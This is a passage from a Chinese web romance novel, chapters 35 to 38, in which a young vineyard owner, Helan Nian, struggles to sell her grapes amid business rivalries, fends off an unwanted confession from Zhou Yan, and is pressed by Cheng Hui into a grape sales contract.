“你要是听话,帮我一起收购了葡萄园,那个女人你想要就给你。”程英纵道,“玩玩可以,娶她不行。”
“你要是想结婚,我可以给你找一个合适的妻子。”程英纵说。
“说完了吗?”程回开口。
他没有抬头,继续低着头道,“你再说下去我要吐了。”
“换我问你一个问题,”程回抬头看向程英纵,“你收购葡萄园做什么?”
“做什么?”程英纵不敢相信程回竟然会问出这么愚蠢的问题,“赚钱啊!不然我跑来做慈善?”
程回想起那个治沙老人,想起贺兰念的爸爸......他们的行为何尝不是另一种慈善。
“为什么不做慈善?”程回木然道,“你知道这片土地几十年前是什么样子吗?你知道他们为什么要种葡萄吗?你知道他们为了种葡萄也在治沙吗?”
程回眼中迸出怒意,“程英纵,你活着的意义就是挣钱吗?”
程英纵眯了眯眸,整个人透出危险的信号。
他花了十几年想把程回培养成无情无欲强大的冷血动物,而现在程回竟然在跟他扯什么人生的意义,扯理想,扯特么的慈善!
“你在说什么鬼话?”程英纵一副大受打击后怒极的模样,“你要是脑子不清楚,我有的是方法让你清醒!”
程回轻蔑的扯了下嘴角。
“我一直都很清醒。”程回死死盯着程英纵,几乎用燃烧着的不屈意志说,“以后也会一直清醒。”
程英纵瞪着他,想到他还需要通过程回得到贺兰念家的葡萄,只得忍下这口气。
“程回,我再重申一遍,帮我收购了葡萄园,你想跟那个女人在一起我不会管你。”
程回没说话。
“而且,我不仅要葡萄园,我还要她家葡萄园里的葡萄!”程英纵道,“你帮她卖葡萄,也该有好处吧?跟她要她园子里的葡萄!”
“为什么?”程回问,“你要做什么?”
“这个你别管。”程英纵道,“你只要记住,只要你帮我拿到我想要的东西,你就可以得到她。”
35. Chapter 35
第二天,赵幸北派来的酒厂的人没能到葡萄园收葡萄。
赵幸北的手机关机,贺兰念联系不上他。
她的手指悬在通讯录程回的名字上面,最终也没有摁下。
现在成熟的酿酒葡萄倒不是大多数,主要是鲜食葡萄。
但赵幸北那边的酒厂收的都是酿酒葡萄,所以目前的主要问题还是没有解决。
直播销量可以解决一部分,但还是得找到采购商才行。
贺兰念翻开直播平台的后台,试图找之前有合作意愿的,但她问了好几家,都因为葡萄酒协会发出的警告,不敢过来收。
贺兰念只能把价格再往下压,也只换来两家说考虑一下。
下午时,贺兰念找到一个新的买家,她站在葡萄园外围徘徊,拿着手机跟那人苦苦沟通,一道清朗的男声从她身后传来。
“贺兰念——”
贺兰念扭头看见周砚。
虽然上次闹得有点不愉快,但再次看见周砚,贺兰念心里挺平静的,大概也因为她现在实在没有精力跟周砚计较。
贺兰念先挂断了电话,抬手对周砚打了个招呼。
周砚有点尴尬,他回去后想到那晚跟贺兰念说的话,挺后悔的,他把自己失去理智的行为归因于贺兰念对程回表现出的不一样。
想到贺兰念有可能喜欢程回,他就控制不住的嫉妒程回!
周砚恨不得程回永远消失在贺兰念面前!
不过现在好了,程英纵不会再让程回帮贺兰念卖葡萄,也不会再让程回接触贺兰念。
听到这个消息,周砚狠狠吐了心口积压已久的浊气。
“贺兰念,我来帮你卖葡萄吧。”周砚温声说,“不止你家的葡萄,如果你需要,其他葡萄园的葡萄我都可以帮忙。”
“至于你家的葡萄,如果你已经找好买家,也没有关系。”周砚道,“买卖不在,同学情谊还在嘛。”
贺兰念没说话,她看周砚一眼,心里想了一下他态度突然转变的原因。
大概看出贺兰念的怀疑,周砚又道:“我爸上次确实说只要你们家的葡萄,但这两天我一直在葡萄园走,发现很多成熟的葡萄都还挂在枝上,也跟果农聊了聊,知道现在销售困难。”
“我把情况跟我爸说,刚好我爸认识几个厂子老板。”周砚笑了一下,真诚道,“反正都是赚钱嘛,上个合同没签成,这次就当另一桩生意了。”
“什么厂?”贺兰念问。
“什么?”周砚猛不丁没懂贺兰念的意思。
贺兰念又问:“你爸认识的厂子老板,都是开的什么厂?”
“哦这个啊,”周砚回想一下,道,“酒厂也有,饮料厂也有,规模都不小。”
周砚猛地想起什么,“还有,这些工厂不受葡萄酒协会的影响,收购价还按市场价来。”
贺兰念沉默。
“你家怎么从中赚钱?”贺兰念问。
周砚笑了下,“好几家厂子都是我家的,你说我们能不能赚钱?”
“......那就好。”
既然是做生意,双方就都要得到好处,如果周砚单方面帮她,贺兰念反而会有心理压力。
“那个......”想到上次对贺兰念说得那些过分的话,周砚嗫嚅道,“我上次太无理了,对不起。”
“......没关系。”贺兰念当时就没放在心里,再回想,她好像都忘记周砚说了些什么,只记得她知道程回的身份时,那瞬间无法承受的巨大冲击力。
周砚见贺兰念又发呆,他直觉贺兰念又想到了程回,想到这个可能,周砚眉峰隆起,心底再次生出怒意。
“你知道我当时为什么失控吗?”周砚顿了一下,“我嫉妒程回!明明——”
“周砚!”贺兰念猛地打断周砚,她看向周砚的眼神几近带着犀利的警告,阻止了他接下来的话。
“程回是我的合作伙伴。”贺兰念道,“你也是。”
“我没有时间谈论别的什么感情,所以希望你也不要再提。你们有任何恩怨,请私下解决,不用在我面前说。”
周砚看着贺兰念冷丽的脸,半天开口:“好,我知道了。”
“那我今天联系一下工厂老板,尽量明天让他们过来看看。”周砚问,“你觉得这样行吗?”
“好。”贺兰念缓声道,“谢谢。”
“不用跟我客气。”周砚笑了两声,“我们是同学嘛。”
贺兰念:“......”
*
接近傍晚,赵幸北发来消息,说他从国外赶回来,飞机刚落地西北,让贺兰念发个定位给他。
贺兰念发完定位不到一个小时,一辆黑色商务车停到她家门口,车窗降下来,露出赵幸北的侧脸,他手里拿着平板,平板的光打在他脸上,显得有丝凝重。
意识到到了地方,赵幸北立马扭头看向贺兰念,一刻不停道:“先上车,我先去葡萄园看一下。”
贺兰念上了车后,赵幸北放下平板,跟贺兰念解释:“这几天我一直在国外,主要跟程回联系的那几家酒厂酒庄签合同。”
“你放心,合同基本都签下来了。”赵幸北摘下眼镜揉了揉酸涩的眼睛,“明天我让酒厂的人继续摘葡萄,不用理会协会那帮老家伙。”
“不过,我刚才来的路上看到葡萄架上还有不少葡萄。”按理说采摘了两天的酿酒葡萄不该有那么多,赵幸北问道,“怎么回事?”
“那些是鲜食葡萄。”贺兰念道。
赵幸北“哦”了声,疑道:“今年鲜食葡萄的销售也困难?”
见贺兰念点头,赵幸北陷入沉思。
“你打算怎么解决?”赵幸北问。
“平时有直播,也找了些采购商。”贺兰念想了想,道出,“协会发出的警告影响比较大,不过今天周砚过来说可以联系几家加工厂。”
“周砚?周国兴的二儿子?”想到什么,赵幸北脸上出现一抹狡猾的笑,“周国兴跟程英纵都想要你家的葡萄园和葡萄,你现在跟程家闹僵,周国兴自然不会放过这个讨好你的机会。”
贺兰念不置可否,今天周砚找来的时候,她其实有想到这一点。
“你怎么回复周砚的?”赵幸北好奇问。
“没有拒绝。”贺兰念道,“明天周砚带工厂的老板过来。”
“聪明!”赵幸北赞赏的看了贺兰念一眼。
“现在程家和周家两方博弈,这种送上门的好处就要立马抓住!”赵幸北笑着道,“明天我跟你一起见见他们,说不定还能找到更好的合作方式。”
车子很快到葡萄园,赵幸北转了一圈,拍了视频和照片,又问了贺兰念些关于葡萄的专业问题后,把贺兰念送回家。
离开前,赵幸北降下车窗,“对了,你见过程回了吗?”
贺兰念身体僵了一下,“......昨晚见了。”
赵幸北沉不动声色盯着贺兰念的神色,问:“他怎么样?”
“......看起来还好。”
贺兰念想起程回打电话时虚弱的声音,补充,“感觉有点不对劲,但我没有看出来,程回表现的很正常。”
赵幸北沉吟片刻。“好我知道了,我一会儿过去找他。”
车窗缓缓升上去。
车外,贺兰念站在那里,欲言又止,她看着渐行渐远的车尾,终究什么也没说。
心情又莫名低落下去。
贺兰念觉得抬脚走路都有点费劲,整个人轻飘飘又沉甸甸的。她关上农场的木栏门,走到大枣树下坐了
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会儿,不知过了多久想起没吃晚饭,又起身走进厨房,不想搞复杂的菜,也没什么胃口,下了碗清汤面。
刚吃了一口,门口又停了一辆商务车,贺兰念看见一个戴着黑色口罩帽子的女人从车上下来。
贺兰念慢吐吐吃着面,女孩已经打开不及她腰的木栏门,走了过来。
她走到贺兰念面前,拉下口罩便问:“喂贺兰念,赵幸北在这吗?”
贺兰念看着女孩似曾见过的脸,不确定问:“你是那天走错包厢的女孩?”
贺兰念跟程回去见赵幸北那天,一个女孩推开门说走错了包厢,然后没一会儿赵幸北就离开了。
“你不认识我?”楚若不可置信看着贺兰念。
贺兰念:“不认识。”
“......”楚若漂亮精致的脸扭曲了一下。
深吸了一口气,楚若拍着自己的脸问:“看见我这张美得惨绝人寰的脸,你就没觉得熟悉?你外星来的啊?”
“我叫楚若。——没错就是那个红遍全国,红遍亚洲,即将红遍全球的大明星楚若!”
原来是在电视上看过。
“......你好。”
“你好。”楚若坐在贺兰念对面,四下打量了院子,“赵幸北是不是来过?走了没?”
“来过。走了。”贺兰念答。过了会儿补充,“我跟赵幸北只是合作关系,除此之外绝不会有其他关系。”
楚若看起来无所谓的笑了下,“我只是赵幸北的地下情人。不用跟我解释这些。”
她一脸意兴阑珊,眼睛在打量贺兰念家院子时亮起来,几乎兴致勃勃道:“贺兰念,你家看起来不错,可以作为我第二个家。”
贺兰念:“............”
“楚若!你个小王八蛋胡说八道什么呢!!!”
突然地一声咆哮把贺兰念惊了下,她扭头,看见一个长发男子穿着紧身黑色皮裤,扭着两条长腿走过来。
来人是楚若的经纪人,名叫冀叔,他一个爆栗嗑在楚若额头,对贺兰念说:“她不是谁的情人,她说着玩呢,你别信。”
这话傻子才信……
贺兰念弯唇笑了笑。
冀叔瞅了眼贺兰念一看就很聪明的脸:“......”
看贺兰念不像是会出去乱说的人,冀叔稍稍放心。
不过相比冀叔,显然楚若心更大,她都没在意这个话题,问:“你过来做什么?”
“我做什么?”冀叔朝天大吐了一口气道,“你戏都要被别人抢走了!你说我要不要跟你说?!”
“哟~谁啊?敢抢我的戏?”楚若微微一笑,索性坐下,一脸兴味道,“这事发生在我身上倒是不多见,说来听听。”
看见楚若这般不在乎还觉得备有趣的态度,冀叔差点吐出一口凌霄血,他缓了好一会儿,才道:“一个叫麦冬的新人。听说之前做公主的,现在榜上大老板,捧进娱乐圈当明星了,也就这一个月的事。”
楚若“嘁”了一声,这种事一点都不新鲜,她顿时觉得索然无味,随口问:“怎么?是人长得特好看?”
说到这个,冀叔脸色更不好看了,“脸挺有特点的,不是小白花长相,有点民族特色,是电影导演都钟爱的大屏幕脸。”
末了,冀叔有点酸道:“她要是能起来,前途不可限量。”
说着冀叔把照片给楚若看。
而对面,听到麦冬这个名字时,原本慢条斯理吃面的贺兰念慢慢僵住。
她几乎下意识转头看向冀叔手机里的人,果然看到了一张熟悉的脸......不同的是,跟几年前的灰头土脸相比,现在这张脸更大气明艳,墨黑的眸子里是藏不住的野心。
那张脸,跟惜儿有五分相似......
36. Chapter 36
楚若接到赵幸北的电话后离开了,离开前她给贺兰念留了联系方式,说她最近半个月都在这边拍戏,让贺兰念有时间找她玩。
贺兰念有点心不在焉,点了点头。
麦冬......
是惜儿的妈妈。
是她哥哥贺兰承的妻子。
贺兰承很喜欢麦冬。
从小就喜欢。
喜欢到十里八村的人几乎都知道这件事。
小时候贺兰念有段时间甚至嫉妒过麦冬,因为她觉得哥哥眼里只有麦冬。
......
贺兰念不由想起一些往事。
麦冬家境不太好,她是家里老大,下面有三个弟弟,她父母很严厉,偏心,虚荣,觉得儿子靠得住,女儿迟早是别人家的,所以不愿意供麦冬读书。
大概是从小在家就受到父母的压迫,养成了麦冬看起来阴郁寡言的性格,脸总是冷冰冰的,不爱搭理人。只有那双黑亮的眼睛,要强,有主见,总是不屈服的样子。
很吸引人。
她其实五官很好看,但因为性格太沉默,显得有些被埋尘。
但贺兰承就是喜欢她这个样子,喜欢到从小贺兰念就听他说,长大想娶的人叫麦冬。
后来麦冬到了结婚的年龄,她父母知道贺兰承喜欢麦冬,就暗地里跟贺兰念爸爸透露,让麦冬跟贺兰承早早结婚。
贺兰承很高兴,兴高采烈答应下来。
麦冬的父母也很高兴。
结婚那天,麦冬脸上却不见喜色。
那时候贺兰念因为上高中,学业紧张,没看出问题,只隐隐感觉贺兰承和麦冬的相处方式不太正常,贺兰承太热情,麦冬太冷淡。
是后来贺兰承死后,麦冬收拾东西说离开那天,跟贺兰念说,说她不喜欢她哥哥,她也不想结婚,是她父母逼她的,她父母看上贺兰念爸妈人好又有钱,想攀上这门亲家。
麦冬不喜欢她亲生父母,不喜欢她那个家,也不喜欢贺兰承,不喜欢束缚住她的贺兰念家。
所以,她一定要离开。
“念念~念念~快接电话~快接电话~我想你了~我想你~了~”
突然响起的手机铃声把贺兰念从回忆中拉回。
贺兰念看着亮起的手机屏幕上惜儿灿烂的笑脸,心疼痛不止。
“念念~你怎么这么久才接电话?我都等了好多秒,等的越来越想念念了~”
惜儿清脆喜悦的声音冲破一切沉闷撞入贺兰念的耳朵,她几乎不可抑的弯了弯唇。
“对不起惜儿。”贺兰念深吸了一口气,脸上出现温柔的笑意,“刚才想事情太入神了。我的错,下次改正好不好?”
惜儿爽快道了一声:“好。这次就原谅你了。”
“不过,念念你在想什么啊?是很重要的事情吗?”惜儿调皮问,“是不是在想我?”
“......是啊。”贺兰念脸上的笑僵了下,“就是在想惜儿。”
惜儿嘻嘻笑了几声,道:“那我就很高兴的原谅你了~~”
“对了念念,我后天要跟李爷爷一起回去了。”惜儿拔高了音量说。
“李爷爷一起?”想到李怀璧那么大年纪还专门送惜儿回来,贺兰念想了下明天的安排,道,“李爷爷行动不便,我明晚去接你,后天早上我们坐早班机回来好不好?”
惜儿道:“可是李爷爷说他要过去探望他的战友。”
探望战友啊,这样也好。想到明天一堆事,贺兰念直接问:“李爷爷说几点的飞机,我去机场接你们。”
“李爷爷说是后天早上九点的飞机,到我们家要十一点多呢。”惜儿道。
“好我知道了,我后天去接你们。”
“好耶~~”惜儿隔着手机亲了贺兰念一口,“念念明天见!我好想你哦~”
贺兰念满心柔软,温声道:“我也很想惜儿。”
挂断电话,贺兰念像是被充满了电,她又浑身充满了力量,桌上剩半碗的清汤面太寡淡,贺兰念端着碗走回厨房,洗菜炒菜炖汤,不一会儿一荤一素一个青菜蛋花汤就做好了。
这几天贺兰念没好好吃饭,胃都有些不舒服,她把肉菜配着面条吃完,又喝了碗热乎乎的汤,胃里终于舒服多了。
*
第二天上午十点,周砚带来五六个工厂老板,他们刚下车,后面开来一辆黑色限量版宾利,稳稳停在众人之前。
赵幸北一身精贵的烟灰色西装没有一丝褶皱,姿态从容不迫从车上下来,他气质斐然,一看就是家世赫然才能养成这般气质。
贺兰念:“......”
赵幸北先众人一步走到贺兰念面前,低声道:“别笑,唬他们的。先敬罗衣后敬人,先敬皮囊后敬魂,这些人惯会这一套,不让他们看到一些实力,待会谈判不好谈。”
“......”贺兰念不置可否,问:“你要跟他们谈什么?”
赵幸北眼中透出自信和精明,他弯了弯唇,道:“我准备搞一个葡萄果饮的品牌,到时候我来宣传。不过我手里现在没有饮料厂,所以暂时需要他们工厂进行加工。”
短短几天赵幸北已经想到这么多计划,贺兰念内心惊叹不已。
“需要我做什么?”贺兰念问。
“你正常跟他们签约,剩下的我会搞定。”赵幸北顿了一下,看向周砚。
周砚倒是个麻烦......想到什么,赵幸北挑了下眉,脸上几分薄凉,在商言商,大家跟着价格走,他也不算坑他。
贺兰念同赵幸北一起转身看向那些老板,她一眼看见人群中的杨志国。
察觉贺兰念神色异常,赵幸北疑问:“怎么?”
贺兰念摇了摇头,没说之前的不愉快。
倒是杨志国看到贺兰念后率先走过来,毕恭毕敬的,对贺兰念说:“之前是我做事混蛋,您大人不记小人过......”
他看贺兰念没说话,又紧接着道:“之后您这边葡萄园有任何销售困难尽管找我,有多少我收多少,绝不还价。还有,这次凡是我厂子收的葡萄,都比别人的贵一块钱!你看这样行不行?”
“......”
贺兰念看着男人忐忑又小心的眼神,眼睛似被重重迷雾包围,他曾带给她无尽的痛苦,而如今他像是变了一个人,跑来说要帮助她。
赵幸北看贺兰念脸色不太好,跟杨志国寒暄了两句,让杨志国先离开了。
赵幸北何其聪明的人,三言两语就能大致推出一条故事线。
他想了想,看着杨志国的背影对贺兰念道:“没什么迷茫的。人的邪恶与善意,不过是人性众多面中的两面罢了,即便千面也不足以把一个人概括。”
赵幸北叹道:“贺兰念,接受各种变化中的好处就够了,别想那么多。”
这话其实说得很薄凉。
但对眼下的贺兰念却很有用,她突然看开许多事。
比如,程回。
不管如何百转千回,不管当时多么激烈的情感,其实转了身,大家都要各走自己的路,下次再见一切如常的打个招呼,再继续走,没什么大不了的。
周砚走过来,他看起来心情很不错,大步走来跟贺兰念打招呼时,甚至激动的想抱一下贺兰念,在赵幸北的目光中悻悻放下手。
周砚知道赵幸北,不同于李折,赵幸北是周砚从小到大他爸妈口中别人家的孩子,所以周砚不太看得起李折,却控制不住对赵幸北敬畏。
赵幸北没把周砚这个刚毕业的稚嫩大学生放在眼里。
他朝贺兰念使了个眼色,示意贺兰念前面带路,他始终跟在贺兰念身侧。
贺兰念带着周砚和几个老板在葡萄园走了一个多小时。
其实主要赵幸北在说,说饮料加工好就由他去卖,他
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说如何宣传,说如何打动消费者让他们购买......不管什么问题他都能对答如流,几乎舌灿生花,把那些老板唬得一愣一愣的。
临近中午,赵幸北说已经订好了饭店的包厢,让大家一块过去。
到了饭店后,贺兰念走在前面,率先推开包厢的门。
门打开的刹那,贺兰念看见里面坐着的人,愣住了。
程回双腿交叠坐在正中主位,胳膊闲闲支着椅子扶手,视线平淡的望过来。
他一身黑色西装,黑衬衣领口是白皙的皮肉,一身高华的重质感......华丽清贵得仿佛不属于这个平庸的世界。
“......”
短短几天,程回清瘦了不少,脸上表情也更淡了......像神明被扯下人间,不得已出席这种污浊的场合。
见贺兰念迟迟没有反应,赵幸北从她身后走出来,看见程回,他下意识挑了下眉。
“得,正主来了,我今天的任务就此结束。”赵幸北低道了一声。
贺兰念耳朵从看见程回那一刻就嗡嗡响,没听到这句话。
几个老板不知道程回的身份,又被程回的气场镇住,站在门口\交头接耳谁也没敢进,只有杨志国看见是程回,偷偷躲在了其他人后面。
周砚看见程回后,下意识看向贺兰念,见贺兰念魂不守舍的样子,狠狠拧了拧眉。
赵幸北伸手完全把门打开,回头对几个老板说:“这位程少是我朋友,大家不用拘谨,都进来坐吧。”
几个老板看出程回不是普通人,都想结识,很快挨着程回落座。
贺兰念站着出神没有动,周砚刻意般,在程回的视线看过来时,走到贺兰念身边。
于是,所有人一坐下,还站在门口的贺兰念和周砚便异常突出。
赵幸北轻咳了一声,贺兰念惊醒。
转眸对上程回平静无波的目光,贺兰念在心里微叹了一口气,嘲弄着自己的失态,心想着自己倒不如杨志国的生存态度。
只有门口仅剩两三个空位,贺兰念选了个偏离程回视线的位置坐。
周砚见状正要坐在贺兰念旁边,看见赵幸北走过来。
赵幸北轻拍了两下贺兰念的椅背,低声道:“去那里坐。”他朝程回旁边的位置抬了抬下巴。
旁人不知道情况,以为赵幸北让美女陪那个贵人,只有从进门就一句话没说的杨志国抹了抹满头的汗。
“不用了——”贺兰念想拒绝。
赵幸北一副公事公办的态度,神态温和又坚定,贺兰念只得起身,走过去坐下。
程回微垂着浓密的眼睫,一动不动坐着,不知道在想什么,苏馥把他的餐具烫好后又摆好,他也没有任何反应。
搞定程回的餐具,苏馥伸手就要帮贺兰念烫餐具,贺兰念诚惶诚恐,赶紧拒绝了。
她伸手就要拿被放在程回前面的热水壶,不料被一只修长苍净的手先拿住。
贺兰念目光在程回袖口和手腕间□□的条筋凝了一秒,她不由扭脸看了眼程回。
他确实清瘦了不少,精神也不太好的样子,沉默加剧了他神态间的冷意,显得整个人愈发冰冷,看起来更不好接触了。
程回没有看她,他拿过贺兰念面前的餐具,
手腕慢条斯理翻转间,好看得像艺术品。
其实这种力所能及的事贺兰念实在不愿意麻烦任何人,但对方是程回,她避之不及又尴尬不已,不知如何开口。
少顷,清洗干净的餐具放到贺兰念面前。
贺兰念:“......谢谢。”
程回只微微抬了下眼皮,没看贺兰念,也没说话,整个人又沉默下去。
贺兰念摁下心底坐立难安的焦躁,缓出了一口气,程回这会儿带着苏馥突然出现在这里,肯定是有目的的。
冷静下来,贺兰念想到的还是葡萄园。
37. Chapter 37
席间,赵幸北把打造贺兰山特色葡萄果饮品牌的计划说得天花乱坠,贺兰念则适时配合他,说到时候把葡萄优先提供给工厂,价格上也更加实惠。
两人一唱一和,几个老板都心动不已,就连一直没敢说话的杨志国都忍不住插了几嘴,唯恐赵幸北不带上他。
程回一直没有说话,饭也没怎么吃。
几个老板讨论的热火朝天,仿佛明天就能见到钞票流进口袋,一高兴,每个人都没少喝酒,就连赵幸北都被灌了不少。大概是怵程回这个“冷面煞神”,起先没人敢让坐在程回身边的贺兰念喝,后面有人喝多了,才壮着胆子给贺兰念敬酒。
程回自己一滴酒都没喝,他不开口,也没有一个人敢跟他搭话。
周砚没想到他只是给贺兰念找了几个工厂,事情能发展的比他想象的还要好,他见贺兰念高兴,整个人如容光焕发。
他仿佛忘记程回的存在,时不时以主人公的姿态帮贺兰念挡酒。
中间,贺兰念装作不胜酒力,去了趟卫生间。
因为从小就喝各种葡萄酒,贺兰念酒量还好,只是她不太喜欢喝白酒,原本倒是没什么事,刚才喝得最多的就是周砚挡的那几杯。
她下意识没让周砚给她挡。
从卫生间出来,贺兰念没立即回包厢,她穿过饭店大厅走到外面街边,吹了一会风后人很快清醒。
身后传来脚步声,贺兰念回头见周砚红着脸走过来,看着有丝醉态。
“这下好了,葡萄都可以卖出去了。”周砚直勾勾盯着贺兰念的脸,乐观道,“要是计划顺利,饮料火爆,我看到时候葡萄都不一定够。”
事情没有做成前,贺兰念很少去展望,闻言她只是保守的微微点了一下头,未应和周砚。
如果葡萄果饮真的能卖爆,带来的好处不仅仅是解决葡萄销售问题,更让贺兰念挂心的是,那时候她就可以开发更多的荒地......
身边,周砚柔声道:“这样你也不用辛苦直播了。”
“......直播没有什么。”贺兰念默然往后退了一步。
“总归是辛苦,而且你长这么漂亮,一直抛头露面,说不定什么时候就招来不怀好意的人。”周砚眼中的光芒越来越盛,看向贺兰念的目光几近灼热的渴望,“女孩子还是要更懂得保护自己才行。”
“而且,以后的男朋友说不定也会不高兴的。”
说这句话时,周砚目光期待又隐晦的看着贺兰念。
贺兰念的脸骤然冷了几分,想着到底是周砚帮了忙,她忍了忍,没把到嘴边的话说出口。
周砚见贺兰念没说话,以为是贺兰念认同他的话,他不仅有点怡然自得,心底陡然升起一抹喜悦,又想了想,道:“我也没想到这次能帮你这么大的忙。不过你也别太放在心上,这几个老板都是之前跟我爸合作过的,拉他们过来也没费什么事。”
“......”贺兰念沉默片刻,道,“还是谢谢你。”
周砚没说话,似在等着贺兰念说些什么。
顿了下,贺兰念给出承诺:“这次算我欠你一个人情,以后有需要我帮忙的,你可以跟我提。”
周砚立马道:“什么人情,没这么严重。”
他的声音戛然而止,脸上出现一抹复杂的神色,夹杂着羞赧、自得自满和成竹在胸的笃定。
贺兰念似意识到了什么,但这一次她看着周砚的脸,没有出声阻止他接下来的话。
“贺兰念。我——”
周砚说了个开头又顿住,他缓解紧张般嬉笑一声,舒了一口气道:“你应该看出来了吧,我喜欢你。”
“你能做我女朋友吗?”
一抹了然和索然无味划过贺兰念的眼睛。
她沉默了片刻,道:“你是把我当成一件漂亮的商品还是当成一个人跟我说得这句话?”
周砚愣了一下,“......当然是人。”
“抱歉啊,那是我误会了。”贺兰念脸上并没有丝毫的歉意,只有一丝被收藏起来的冷意,“刚才你说我不应该抛头露面,不应该引起别人注意,说以后男朋友会不高兴......我以为我只是一个商品。”
“抱歉,如果冒犯到你,我很抱歉。”想到周砚的帮忙,贺兰念就此顿住。
贺兰念看得出,周砚现在用帮她这件事情感绑架她,要她跟他在一起,但贺兰念脸上还是出现一丝懊恼,最后她叹了一口气,道:“你很好,但我们不合适。”
周砚:“............”
过了一会儿,贺兰念道:“我先回去了。”
她转身,错过周砚就要往饭店大门走,余光瞥见一道修长的身影,贺兰念扭头望去,瞬间僵住。
程回默然站在饭店里面,与贺兰念隔了饭店一道偌大弧面的落地窗。
他好像在那里站了很久,脸上没什么情绪,静水流深般的目光完全落在贺兰念身上,完全让人猜不出他在想什么。
电光火石之间,贺兰念僵硬的身体和大脑同时反应,几乎下意识就想抬手摸玻璃,隔不隔音啊......
又很快,贺兰念视线再次落在程回身上。
坐着的时候没那么明显,如今程回站在那里,一身西装越发衬得他身材尤其修长劲瘦,黑色袖口下露出半截腕骨突出的手腕,宽肩下略显空荡的腰身......好像确实清瘦了不少。
贺兰念站在外面,一时进退两难。
好在没一会儿,贺兰念看见程回转身离开,看着方向,应该是回包厢了。
呼了一口气,贺兰念也继续往包厢走。
贺兰念走回包厢的时候,不同于她出去时的热烈,包厢里的气氛有些凝固。
赵幸北的脸色也有点难看,垂着眼皮沉默。
程回依旧双腿交叠坐在主位,气场强大又冰冷,他目光薄凉的在众人脸上扫了一圈,掀了掀嘴唇。
“所以各位还是等天纵集团收购了葡萄园,再谈这桩生意吧。”程回冷声说。
贺兰念:“......”
察觉程回话中的意思,贺兰念神情僵硬的看向他。
程回这是在阻止他们的合作?以天纵集团必将收购贺兰山的葡萄园为由?
像是验证贺兰念的猜想般,苏馥把几份文件放到几个老板面前,周砚姗姗来迟,也塞了一份。
贺兰念面前也放了一份,她打开,看见已收购的葡萄园和计划收购的葡萄园,数量囊括了大半个贺兰山产区。
这份文件釜底抽薪般把他们刚才谈的所有计划搁浅。
程回看向贺兰念。
“你的承诺还算数吗?”程回问。
“......什么?”贺兰念一时没想起她的什么承诺。
见贺兰念已然忘记,程回眉峰耸动,脸上闪过一抹薄怒和埋怨:“你又忘了。”
当下,贺兰念认真想了下她对程回做了哪些承诺,而且是“又”。
说请他吃饭这件事算一件吗?贺兰念记得跟赵幸北第一次见面那天程回提到过这件事,几乎相同的神情。
那还有什么?
程回没等贺兰念想起来,道出:“你说你家葡萄半价卖给天纵集团。”
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这句话,程回是看着周砚说的。
他似乎早就看透周家的打算,一句话堵死他们的后路。
对上程回锋锐不屑的眼神,周砚脸上一时羞愤交加恼羞成怒,一双眼睛阴沉的透出恨意,似想撕了程回。
眼看着程回帮贺兰念卖葡萄,周家自然不会坐视不管,周国兴早就知道贺兰念每年都会把自家葡萄卖给采购葡萄最多的商家,所以他便让周砚帮贺兰念卖葡萄,以此跟程家争。
表白被拒,现在又知道贺兰念早就把她家的葡萄许诺给了程回,周砚恼恨的看向贺兰念。
在程回道出这个承诺后,贺兰念也几乎立马看向了周砚,她心里其实有猜到周砚帮他的目的,但周家想要的东西她已经没法给,她想着到时候赵幸北的计划成功时,可以给周家多些分成。
“......对不起。”贺兰念对周砚说。
程回在看到贺兰念第一时间看向周砚时,瞳孔狠狠缩了下,他交叠放在腿上的手下意识用力掐了下自己的骨节,白皙的皮肤瞬间泛红。
“刺啦”一声,程回猛地向后退了退椅子,站起身。
他走到贺兰念身边停下脚步,双眼定定盯着贺兰念,问:“承诺还算不算数?”
“......算。”
“行。”
程回勾手,苏馥放到他手上另外一份文件。
“签字吧。”程回不由分说,态度强硬。
贺兰念:“......”
是葡萄买卖合同,贺兰念翻了下,合同没什么问题,就只是这季的葡萄采购。
犹豫迟疑已经没有意义,贺兰念没再看周砚难看的脸,她很快签了字,把合同递给程回。
程回没接,他低眸看了眼合同,又定定看了眼贺兰念,然后未发一言,走出了包厢。
贺兰念:“......”
苏馥走过来接下贺兰念手中的合同,告别离开。
宴席不欢而散。
几个工厂老板相继离开,周砚最后看向贺兰念的那一眼,几乎带着恨意,转身离开。
赵幸北双腿交叠坐在椅子上,他给自己倒了一杯清茶,慢悠悠喝了一口,蓦地,勾唇笑了下,被他挡在杯沿下。
贺兰念在出神,没看见赵幸北的笑。
赵幸北坐在那里喝茶,等酒完全醒了,他起身走到贺兰念身边,淡声道:“走了。”
“......”
贺兰念有时候挺佩服赵幸北的,他不知是久经商场,还是从小到大的家教如此,他似乎一直都这么从容,既能长袖善舞唇枪舌剑的谈生意,又能云淡风轻的接受任何结果。
“这件事就这样了吗?”回去的路上,贺兰念忍不住问。
赵幸北意味深长的挑了下眉:“当然不止这样。”
“你有下一步的打算?”
赵幸北讳莫如深:“到时候跟你说。”
“......”
贺兰念觉得以赵幸北的行事风格,她会很快得到消息,一下午,她都在等赵幸北的消息。
然而并没有等到。
直到深夜,贺兰念都要睡下了,赵幸北突然打来电话。
“程回找你,你过来一下吧。”赵幸北的声音听起来有点无奈。
“......有什么事吗?”贺兰念拒绝道,“如果没什么事,我就——”
赵幸北打断贺兰念:“他喝多了,一直喊你的名字。”
“......”
“784声。”为了增加可信度般,赵幸北机械复述着数字,“785声......”
38. Chapter 38
贺兰念没想过去。
离程回远一点,目前来说,对她是最好的。
赵幸北又打来第二通电话,这次他向来从容的声音带上恼意,像是被别人的感情纠葛折磨烦了,对贺兰念都没那么客气了。
“贺兰念,自己惹出来的债自己来解决。”
赵幸北刚说完这句话,贺兰念就听到一道低沉的喝声,“赵幸北,谁允许你叫她名字的?”
贺兰念:“......”
赵幸北大概也无奈极了,贺兰念听到他深呼吸的声音,对她下最后通牒:“不过来我也不管了,他看起来胃不好不能喝酒,现在很难受,你自己看着办。”
“......”
赵幸北不会真的不管程回,而且就算她不过去,程回一个有钱少爷也不会怎样......贺兰念在心底不断这样暗示自己。
......
半刻钟不到,贺兰念抓起车钥匙,驱车去了酒吧。
赵幸北站在包厢门口轻轻拧着眉看手机,像是有急事要处理的样子,见贺兰念过来,抬手指了指包厢里面,道:“在里面。”
他随即看着贺兰念问:“你开车过来的?”
贺兰念点头。
“刚好,你把他送回去。”赵幸北说完这句话拔腿就往外走,看着要离开。
“......送哪?”
赵幸北闻言顿住脚步回头,脸上带着几分调侃:“这就不关我的事了。”
“......”
贺兰念以为程回还在喝酒,但她推开包厢的门,就见程回穿着中午那套黑西装,外套皱巴巴丢在地下,他蜷躺在沙发上一动不动,看起来像是睡着了。
“......”
